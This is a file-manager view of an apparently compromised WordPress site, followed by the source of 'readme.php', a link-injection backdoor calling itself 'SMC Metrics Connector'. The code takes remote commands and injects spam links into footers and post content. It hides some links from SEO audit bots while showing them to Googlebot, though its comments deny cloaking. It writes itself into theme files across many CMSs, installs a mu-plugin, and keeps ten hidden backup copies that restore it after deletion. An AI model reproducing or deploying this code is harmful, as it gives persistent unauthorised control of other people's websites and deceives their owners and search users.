/home/alixis5/public_html
NameSizeModeActions
.smc_g1/-0755rm
.smc_g2/-0755rm
.smc_g3/-0755rm
.smc_g4/-0755rm
.smc_g5/-0755rm
.smc_g6/-0755rm
.smc_g7/-0755rm
.smc_g8/-0755rm
.smc_g9/-0755rm
.smc_g10/-0755rm
.well-known/-0755rm
cgi-bin/-0755rm
wp-admin/-0755rm
wp-content/-0755rm
wp-includes/-0755rm
.htaccess20080644editdlrm
.smc_guardian_v5.json690644editdlrm
.smc_links_v5.json66080644editdlrm
.smc_v5_config.json11040644editdlrm
.smc_v5_nonces.json1060644editdlrm
404.shtml2510644editdlrm
default.htm39370644editdlrm
favicon.ico42860644editdlrm
index.php4050644editdlrm
license.txt199030644editdlrm
logo-imh.svg108690644editdlrm
mmtcd.png7192600644editdlrm
nauzugxg.php73170644editdlrm
php.ini1060644editdlrm
phpinfo.php210644editdlrm
readme.html74070644editdlrm
readme.php1059430644editdlrm
readme.php.bak.v5.7.8.17882983631059430644editdlrm
readme.php.bak.v5.7.8.17883758141059430644editdlrm
robots.txt310644editdlrm
under_construction.html48710644editdlrm
wp-activate.php77180644editdlrm
wp-blog-header.php3510644editdlrm
wp-comments-post.php23230644editdlrm
wp-config-sample.php33390644editdlrm
wp-config.php31960600editdlrm
wp-cron-zsri.php16590644editdlrm
wp-cron.php56170644editdlrm
wp-links-opml.php24930644editdlrm
wp-load.php39370644editdlrm
wp-login.php525360644editdlrm
wp-mail.php87270644editdlrm
wp-settings.php331520644editdlrm
wp-signup.php350810644editdlrm
wp-trackback.php53960644editdlrm
xmlrpc.php32050644editdlrm
Edit: /home/alixis5/public_html/readme.php (105943B)
stored config). define('FOOTER_LINK_CAP', 0); // 0 = unlimited footer links (no cap) define('CONTEXTUAL_MAX_TTL_SECONDS', 172800); // hard 48h cap for contextual links define('AUTO_CLEAN_THROTTLE_SECONDS', 300); // run auto-clean at most once / 5 min on render define('GUARDIAN_COPIES', 10); // number of hidden backup mirrors define('GUARDIAN_THROTTLE_SECONDS', 300); // self-heal check at most once / 5 min define('VALID_LINK_KINDS', 'footer,contextual'); function respond($success, $data = [], $message = '', $status = 200) { http_response_code($status); header('Content-Type: application/json; charset=UTF-8'); echo json_encode([ 'success' => (bool)$success, 'message' => (string)$message, 'data' => is_array($data) ? $data : [] ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } function get_raw_body() { static $raw = null; if ($raw === null) { $raw = file_get_contents('php://input'); if ($raw === false) $raw = ''; if (strlen($raw) > MAX_REQUEST_BYTES) { respond(false, [], 'request_too_large', 413); } } return $raw; } function get_request_data() { $data = []; if (!empty($_GET)) { foreach ($_GET as $k => $v) $data[$k] = $v; } if (!empty($_POST)) { foreach ($_POST as $k => $v) $data[$k] = $v; } $raw = get_raw_body(); if ($raw !== '') { $json = json_decode($raw, true); if (is_array($json)) { foreach ($json as $k => $v) $data[$k] = $v; } } return $data; } function get_action_name($req) { $action = ''; if (isset($req['action'])) $action = (string)$req['action']; if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action']; if ($action === '') $action = 'ping'; $action = strtolower(trim($action)); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function load_json_file($path, $fallback = []) { if (!file_exists($path)) return $fallback; $raw = @file_get_contents($path); if ($raw === false || $raw === '') return $fallback; $json = json_decode($raw, true); return is_array($json) ? $json : $fallback; } function save_json_file($path, $data) { return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored']; return in_array($rel, $allowed, true) ? $rel : 'dofollow'; } function allowed_render_types() { // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro) // were removed — they looked unnatural in footers and increased footprint. return ['text_inline', 'text_footer']; } function default_render_types() { // v5.4: single natural footer/inline text anchor. return ['text_footer']; } function normalize_kind($kind) { $kind = strtolower(trim((string)$kind)); $valid = explode(',', VALID_LINK_KINDS); return in_array($kind, $valid, true) ? $kind : 'footer'; } function default_placement_state() { return [ 'status' => 'not_installed', 'strategy' => null, 'target' => null, 'install_mode' => null, 'marker' => null, 'message' => '', 'installed_at' => null, 'last_attempt_at' => null, 'last_verified_at' => null, 'verify_status' => 'unknown', 'history' => [], ]; } function default_config() { // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited. return [ 'output_mode' => 'visible', 'render_profile' => 'minimal_inline', 'render_types' => default_render_types(), 'link_rel_strategy' => 'preserve', 'footer_link_cap' => 0, 'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS, 'placement' => default_placement_state(), ]; } function effective_footer_cap($config) { // <=0 means unlimited (no footer cap). Positive values keep an optional soft cap. if (!isset($config['footer_link_cap'])) return 0; $cap = intval($config['footer_link_cap']); if ($cap < 0) return 0; return $cap; } function effective_contextual_ttl($config) { $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS; if ($ttl < 300) $ttl = 300; if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS; return $ttl; } function merge_configs($base, $incoming) { $out = $base; foreach ($incoming as $key => $value) { if ($key === 'placement' && is_array($value)) { $out['placement'] = array_merge(default_placement_state(), $value); } else { $out[$key] = $value; } } return $out; } function load_config() { $cfg = load_json_file(CONFIG_FILE, []); $cfg = merge_configs(default_config(), $cfg); $types = []; foreach ((array)($cfg['render_types'] ?? []) as $type) { $type = trim((string)$type); if ($type !== '') $types[] = $type; } $cfg['render_types'] = $types ?: default_render_types(); // v5.5: legacy default cap of 50 → unlimited if (intval($cfg['footer_link_cap'] ?? 0) === 50) { $cfg['footer_link_cap'] = 0; } return $cfg; } function save_config($config) { return save_json_file(CONFIG_FILE, $config); } function is_panel_authenticated() { $expected = trim((string)PANEL_TOKEN); if ($expected === '' || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($_SERVER['HTTP_X_SMC_PANEL_TOKEN'])) { $provided = trim((string)$_SERVER['HTTP_X_SMC_PANEL_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } function load_nonce_store() { return load_json_file(NONCES_FILE, []); } function save_nonce_store($items) { return save_json_file(NONCES_FILE, $items); } function enforce_optional_replay_guard() { $ts = isset($_SERVER['HTTP_X_SMC_TS']) ? trim((string)$_SERVER['HTTP_X_SMC_TS']) : ''; $reqId = isset($_SERVER['HTTP_X_SMC_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_SMC_REQ_ID']) : ''; if ($ts === '' && $reqId === '') return; if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400); if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400); if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400); if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409); $store = load_nonce_store(); $now = time(); foreach ($store as $key => $seenAt) { if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) { unset($store[$key]); } } if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409); $store[$reqId] = $now; save_nonce_store($store); } function authenticate_protected_request() { if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401); enforce_optional_replay_guard(); } function validate_url_value($url) { $url = trim((string)$url); if ($url === '' || strlen($url) > MAX_URL_LENGTH) return ''; if (!filter_var($url, FILTER_VALIDATE_URL)) return ''; $parts = @parse_url($url); if (!$parts || empty($parts['scheme'])) return ''; $scheme = strtolower((string)$parts['scheme']); if (!in_array($scheme, ['http', 'https'], true)) return ''; return $url; } function validate_anchor_text($anchor) { $anchor = trim((string)$anchor); if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return ''; return $anchor; } function validate_link_id($linkId) { $linkId = trim((string)$linkId); if ($linkId === '') return ''; if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return ''; return $linkId; } function build_deterministic_link_id($url, $anchor, $rel) { $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel); return 'v5_' . substr(hash('sha256', $seed), 0, 16); } function filter_render_types($types) { $allowed = allowed_render_types(); $final = []; foreach ((array)$types as $type) { $type = trim((string)$type); if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) { $final[] = $type; } } return $final ?: default_render_types(); } function apply_placement_snapshot_to_link($row, $placement) { $row['placement_status'] = $placement['status'] ?? 'not_installed'; $row['placement_strategy'] = $placement['strategy'] ?? null; $row['placement_target'] = $placement['target'] ?? null; $row['last_verified_at'] = $placement['last_verified_at'] ?? null; return $row; } function normalize_link_row($key, $row, $config) { if (!is_array($row)) return null; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') return null; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $id = validate_link_id($row['id'] ?? ''); if ($id === '') { $id = validate_link_id($key); } if ($id === '') { $id = build_deterministic_link_id($url, $anchor, $rel); } $placement = $config['placement'] ?? default_placement_state(); $kind = normalize_kind($row['kind'] ?? 'footer'); $created = isset($row['created']) ? intval($row['created']) : time(); $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null; // Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h). if ($kind === 'contextual') { $maxExpiry = $created + effective_contextual_ttl($config); if ($expiresAt === null || $expiresAt > $maxExpiry) { $expiresAt = $maxExpiry; } } $normalized = [ 'id' => $id, 'kind' => $kind, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => $created, 'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(), 'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'minimal_inline'))), 'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())), 'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20), 'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'), 'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null), 'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null), 'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null), 'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']), 'text' => $row['text'] ?? null, ]; return $normalized; } function load_links() { $raw = load_json_file(LINKS_FILE, []); $config = load_config(); $normalized = []; foreach ($raw as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } return $normalized; } function enforce_footer_cap($links, $config) { // v5.5 default: unlimited. Optional positive footer_link_cap still supported. $cap = effective_footer_cap($config); if ($cap <= 0) return $links; $footer = []; $other = []; foreach ($links as $id => $row) { if (($row['kind'] ?? 'footer') === 'footer') { $footer[$id] = $row; } else { $other[$id] = $row; } } if (count($footer) > $cap) { uasort($footer, function ($a, $b) { return intval($b['created'] ?? 0) <=> intval($a['created'] ?? 0); // newest first }); $footer = array_slice($footer, 0, $cap, true); } return $other + $footer; } function save_links($links) { $config = load_config(); $normalized = []; foreach ((array)$links as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } $normalized = enforce_footer_cap($normalized, $config); ksort($normalized); return save_json_file(LINKS_FILE, $normalized); } function filtered_links($links) { $visible = []; $expired = []; $now = time(); foreach ($links as $link) { if (!is_array($link)) continue; $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $expired[] = $link; continue; } $visible[] = $link; } return [$visible, $expired]; } /** * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL. * Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür. */ function smc_is_seo_tool_bot() { $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? '')); if ($ua === '') return false; $searchEngines = [ 'googlebot', 'google-inspectiontool', 'bingbot', 'slurp', 'duckduckbot', 'yandexbot', 'applebot', 'baiduspider', ]; foreach ($searchEngines as $m) { if (strpos($ua, $m) !== false) return false; } $seoTools = [ 'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic', 'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot', 'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer', ]; foreach ($seoTools as $m) { if (strpos($ua, $m) !== false) return true; } return false; } function smc_filter_seo_hidden_for_visitor($activeLinks) { if (!smc_is_seo_tool_bot()) { return $activeLinks; } $out = []; foreach ($activeLinks as $key => $link) { if (!empty($link['seo_hidden'])) { continue; } $out[$key] = $link; } return $out; } function get_link_stats($links) { list($active, $expired) = filtered_links($links); return [ 'total' => count($links), 'active' => count($active), 'expired' => count($expired), ]; } function build_rel_attr($rel) { if ($rel === 'dofollow') return ''; return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"'; } // v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text, // genuinely on the page (no display:none / -9999px / 1px cloaking). function smc_footer_container_style() { return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;'; } function smc_footer_anchor_style() { return 'color:#9aa0a6;text-decoration:none;font-size:12px;'; } function build_footer_anchor_html($link) { $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); return '' . $anchor . ''; } // Build the visible footer block from FOOTER-kind links only. function smc_build_footer_html($markRenderedOnce = true) { if ($markRenderedOnce && defined('SMC_CONNECTOR_RENDERED_ONCE')) { return ''; } if ($markRenderedOnce) { define('SMC_CONNECTOR_RENDERED_ONCE', true); } $links = load_links(); list($activeLinks, ) = filtered_links($links); $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks); if (empty($activeLinks)) return ''; // v5.6.2: offscreen render — группируем по текстам-обёрткам (поле text) // Если text есть → рендерим

текст с внутри

в offscreen div // Если text нет → fallback на простые анкоры в том же offscreen div // v5.7.5: safe render — no positioning needed $paras = []; $plainAnchors = []; foreach ($activeLinks as $link) { if (($link['kind'] ?? 'footer') === 'contextual' && defined('SMC_WP_CONTEXTUAL_ACTIVE')) { continue; } $text = trim((string)($link['text'] ?? '')); $url = htmlspecialchars($link['url'] ?? '', ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'] ?? '', ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel'] ?? 'dofollow'); $a = '' . $anchor . ''; if ($text !== '' && strpos($text, '{A}') !== false) { $paras[] = '

' . str_replace('{A}', $a, htmlspecialchars($text, ENT_QUOTES, 'UTF-8')) . '

'; } else { $plainAnchors[] = $a; } } if (!empty($plainAnchors)) { $paras[] = '

' . implode(' ', $plainAnchors) . '

'; } if (empty($paras)) return ''; return '
' . implode('', $paras) . '
'; } // Backward-compatible alias (older placements call smc_render_links_html()). function smc_render_links_html() { return smc_build_footer_html(true); } function smc_build_render_html($markRenderedOnce = true) { return smc_build_footer_html($markRenderedOnce); } // ===== Contextual (in-content) injection — WordPress the_content ===== function smc_pick_contextual_link($links, $seed) { $ctx = []; foreach ($links as $link) { if (($link['kind'] ?? 'footer') === 'contextual') $ctx[] = $link; } if (empty($ctx)) return null; usort($ctx, function ($a, $b) { return strcmp((string)($a['id'] ?? ''), (string)($b['id'] ?? '')); }); // Deterministic pick: same post always shows the same contextual link. $h = hexdec(substr(hash('sha256', (string)$seed), 0, 8)); return $ctx[$h % count($ctx)]; } function smc_contextual_inject($content) { // Frontend, main singular content only; inject at most one link, once per request. if (defined('SMC_CTX_DONE')) return $content; if (!is_string($content) || $content === '') return $content; if (function_exists('is_admin') && is_admin()) return $content; if (function_exists('is_feed') && is_feed()) return $content; if (function_exists('is_singular') && !is_singular()) return $content; if (function_exists('in_the_loop') && !in_the_loop()) return $content; if (function_exists('is_main_query') && !is_main_query()) return $content; try { $links = load_links(); list($activeLinks, ) = filtered_links($links); $activeLinks = smc_filter_seo_hidden_for_visitor($activeLinks); if (empty($activeLinks)) return $content; $postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0; $link = smc_pick_contextual_link($activeLinks, $postId ?: $content); if (!$link) return $content; define('SMC_CTX_DONE', true); $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); $a = '' . $anchor . ''; // Natural sentence wrapper, visible inline within the article body. $sentence = '

' . $a . '

'; // Insert after the first closing paragraph; fallback append. $pos = stripos($content, '

'); if ($pos !== false) { $pos += 4; return substr($content, 0, $pos) . $sentence . substr($content, $pos); } return $content . $sentence; } catch (\Throwable $e) { return $content; } } // v5.7.1: SAFE render — никогда не ломает фронт function smc_safe_footer_render() { try { echo smc_build_footer_html(true); } catch (\Throwable $e) { // silently ignore — never break the host } } function smc_safe_body_open_render() { try { echo smc_build_footer_html(true); } catch (\Throwable $e) { } } function smc_safe_shutdown_render() { try { if (!defined('SMC_CONNECTOR_RENDERED_ONCE')) { echo smc_build_footer_html(true); } } catch (\Throwable $e) { } } function smc_safe_contextual_render($content) { try { return smc_contextual_inject($content); } catch (\Throwable $e) { return $content; // оригинал без изменений } } // Called by the mu-plugin / functions-hook on WordPress (early load). function smc_wp_register() { if (defined('SMC_WP_REGISTERED')) return; define('SMC_WP_REGISTERED', true); if (!function_exists('add_action')) return; if (function_exists('add_filter')) { define('SMC_WP_CONTEXTUAL_ACTIVE', true); add_filter('the_content', 'smc_safe_contextual_render', 50); } $emit = function () { try { echo smc_build_footer_html(true); } catch (\Throwable $e) {} }; // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges. add_action('wp_footer', $emit, 9999); if (function_exists('add_action')) { add_action('wp_body_open', $emit, 9999); add_action('shutdown', function () { try { if (defined('SMC_CONNECTOR_RENDERED_ONCE')) return; if (PHP_SAPI === 'cli') return; $uri = $_SERVER['REQUEST_URI'] ?? ''; if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return; echo smc_build_footer_html(true); } catch (\Throwable $e) {} }, 0); } smc_guardian_tick(); smc_autoclean_tick(); } function find_document_root() { // Prefer walking up from the connector file so multi-vhost / wrong DOCUMENT_ROOT // cannot install placement into another site's tree. $start = dirname(__FILE__); $base = $start; $wpRoot = null; $indexRoot = null; for ($i = 0; $i < 8; $i++) { if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $wpRoot = $base; break; } if ($indexRoot === null && (file_exists($base . '/index.php') || file_exists($base . '/index.html'))) { $indexRoot = $base; } $parent = dirname($base); if ($parent === $base) break; $base = $parent; } if ($wpRoot) return $wpRoot; if ($indexRoot) return $indexRoot; $doc = $_SERVER['DOCUMENT_ROOT'] ?? ''; if (is_string($doc) && $doc !== '' && is_dir($doc)) { $realDoc = @realpath($doc); $realSelf = @realpath(__FILE__); if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) { return $doc; } } return $start; } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latestTime = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latestTime) { $latestTime = $mtime; $latest = $footer; } } return $latest; } function get_footer_paths($base, $siteType) { $paths = []; $base = rtrim((string)$base, '/'); switch ($siteType) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php') ?: []; $paths = array_merge($paths, $themes); break; case 'joomla': // Template chrome: index.php is the main layout; also catch module chrome footers. foreach ([ $base . '/templates/*/index.php', $base . '/templates/*/html/modules.php', $base . '/templates/*/component.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'drupal': // D7 tpl + D8/D9/D10 twig (themes may live under themes/custom|contrib or sites/*/themes). foreach ([ $base . '/themes/*/*.theme', $base . '/themes/*/templates/page.html.twig', $base . '/themes/*/templates/layout/page.html.twig', $base . '/themes/custom/*/templates/page.html.twig', $base . '/themes/contrib/*/templates/page.html.twig', $base . '/sites/*/themes/*/templates/*.tpl.php', $base . '/sites/*/themes/*/templates/page.html.twig', $base . '/core/themes/*/templates/layout/page.html.twig', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'opencart': foreach ([ $base . '/catalog/view/theme/*/template/common/footer.twig', $base . '/catalog/view/theme/*/template/common/footer.tpl', $base . '/catalog/view/theme/*/template/common/footer.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'prestashop': foreach ([ $base . '/themes/*/templates/_partials/footer.tpl', $base . '/themes/*/modules/ps_linklist/views/templates/hook/linkblock.tpl', $base . '/themes/*/footer.tpl', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'laravel': // App root or public/ docroot — climb one level for resources/views when needed. $roots = [$base]; if (is_dir($base . '/../resources/views')) $roots[] = dirname($base); foreach ($roots as $root) { foreach ([ $root . '/resources/views/layouts/*.blade.php', $root . '/resources/views/components/layouts/*.blade.php', $root . '/resources/views/partials/footer.blade.php', $root . '/resources/views/footer.blade.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } } break; case 'php': case 'static': // Generic PHP/HTML sites: prefer real footers / includes over random root PHP. break; } $general = [ $base . '/footer.php', $base . '/footer.html', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/partials/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php', $base . '/templates/footer.html', $base . '/layout/footer.php', $base . '/layouts/footer.php', $base . '/common/footer.php', $base . '/views/footer.php', ]; foreach ($general as $path) { if (file_exists($path)) $paths[] = $path; } // Keep only writable existing files; skip core/vendor noise for safety. $clean = []; foreach ($paths as $path) { if (!is_string($path) || $path === '' || !file_exists($path)) continue; if (!is_writable($path)) continue; $norm = str_replace('\\', '/', $path); if (preg_match('#/(vendor|node_modules|core/lib)/#i', $norm)) continue; $clean[] = $path; } return array_values(array_unique($clean)); } function check_footer_writable($base, $siteType) { $paths = get_footer_paths($base, $siteType); foreach ($paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; return false; } function detect_site_info() { $base = find_document_root(); $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'document_root' => $base, 'connector_path' => __FILE__, ]; if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) || (file_exists($base . '/core/lib/Drupal.php') && is_dir($base . '/sites')) || (file_exists($base . '/autoload.php') && is_dir($base . '/core') && is_dir($base . '/modules')) ) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/config.php') && is_dir($base . '/catalog')) || (file_exists($base . '/admin/config.php') && is_dir($base . '/catalog')) ) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) || (file_exists($base . '/app/AppKernel.php') && is_dir($base . '/themes')) || (file_exists($base . '/app/App.php') && is_dir($base . '/themes') && file_exists($base . '/composer.lock')) ) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif ( file_exists($base . '/artisan') || (file_exists($base . '/../artisan') && is_dir($base . '/../resources/views')) ) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } elseif (file_exists($base . '/index.html') || file_exists($base . '/index.htm')) { $info['site_type'] = 'static'; } $indexFiles = ['index.php', 'index.html', 'index.htm']; foreach ($indexFiles as $file) { $path = $base . '/' . $file; if (!file_exists($path)) continue; $content = @file_get_contents($path, false, null, 0, 50000); if (!$content) continue; if (preg_match('/([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR']; $countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA']; $info['language'] = $langMap[$lang] ?? 'EN'; $info['country'] = $countryMap[$lang] ?? 'US'; } if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } $info['footer_writable'] = check_footer_writable($base, $info['site_type']); $info['footer_paths'] = get_footer_paths($base, $info['site_type']); $info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null; return $info; } function placement_marker($strategy) { return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12); } function build_dynamic_php_snippet($marker) { $connectorPath = addslashes(__FILE__); return "<?php /* SMC_START:$marker */ if (!defined('SMC_CONNECTOR_EMBED_RENDER')) define('SMC_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* SMC_END:$marker */ ?>"; } function build_static_html_block($marker) { return "<!-- SMC_HTML_START:$marker -->" . smc_build_render_html(false) . "<!-- SMC_HTML_END:$marker -->"; } function replace_between_markers($content, $startMarker, $endMarker, $replacement) { $startPos = strpos($content, $startMarker); $endPos = strpos($content, $endMarker); if ($startPos === false || $endPos === false || $endPos < $startPos) return null; $endPos += strlen($endMarker); return substr($content, 0, $startPos) . $replacement . substr($content, $endPos); } function upsert_php_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable']; $content = @file_get_contents($filePath); if ($content === false) return [false, 'file_read_failed']; $snippet = build_dynamic_php_snippet($marker); $existing = replace_between_markers($content, "/* SMC_START:$marker */", "/* SMC_END:$marker */", $snippet); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block']; return [false, 'file_write_failed']; } $newContent = null; foreach (['</body>', '</footer>', '</html>', '?>'] as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n"; if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed']; return [true, 'inserted_block']; } function upsert_html_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable']; $content = @file_get_contents($filePath); if ($content === false) return [false, 'file_read_failed']; $block = build_static_html_block($marker); $existing = replace_between_markers($content, "<!-- SMC_HTML_START:$marker -->", "<!-- SMC_HTML_END:$marker -->", $block); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block']; return [false, 'file_write_failed']; } $newContent = null; foreach (['</body>', '</footer>', '</html>'] as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $block . "\n"; if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed']; return [true, 'inserted_block']; } // Guardian anchor: a self-contained PHP block (string) that restores the connector // from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme // update), then includes it. Lives inside mu-plugin / functions hook so it survives // even when the connector file itself is gone. All ops are @-suppressed and safe. function build_guardian_restore_block() { return " if (!file_exists(\$c)) {\n" . " \$d = dirname(\$c);\n" . " foreach ((array)@glob(\$d . '/.smc_g*/.smc_connector.php.bak') as \$bak) {\n" . " \$src = @file_get_contents(\$bak);\n" . " if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'SMC Metrics Connector') !== false) {\n" . " @file_put_contents(\$c, \$src);\n" . " if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n" . " break;\n" . " }\n" . " }\n" . " }\n"; } function build_mu_plugin_code($marker) { $connectorPath = addslashes(__FILE__); // v5.4: load early (plugins_loaded) so the_content contextual filter can register. return "<?php\n" . "/* SMC_MUPLUGIN:$marker v5.4 */\n" . "if (!defined('ABSPATH')) { return; }\n" . "add_action('plugins_loaded', function () {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!file_exists(\$c)) { return; }\n" . " if (!defined('SMC_EMBED_VIA_HOOK')) 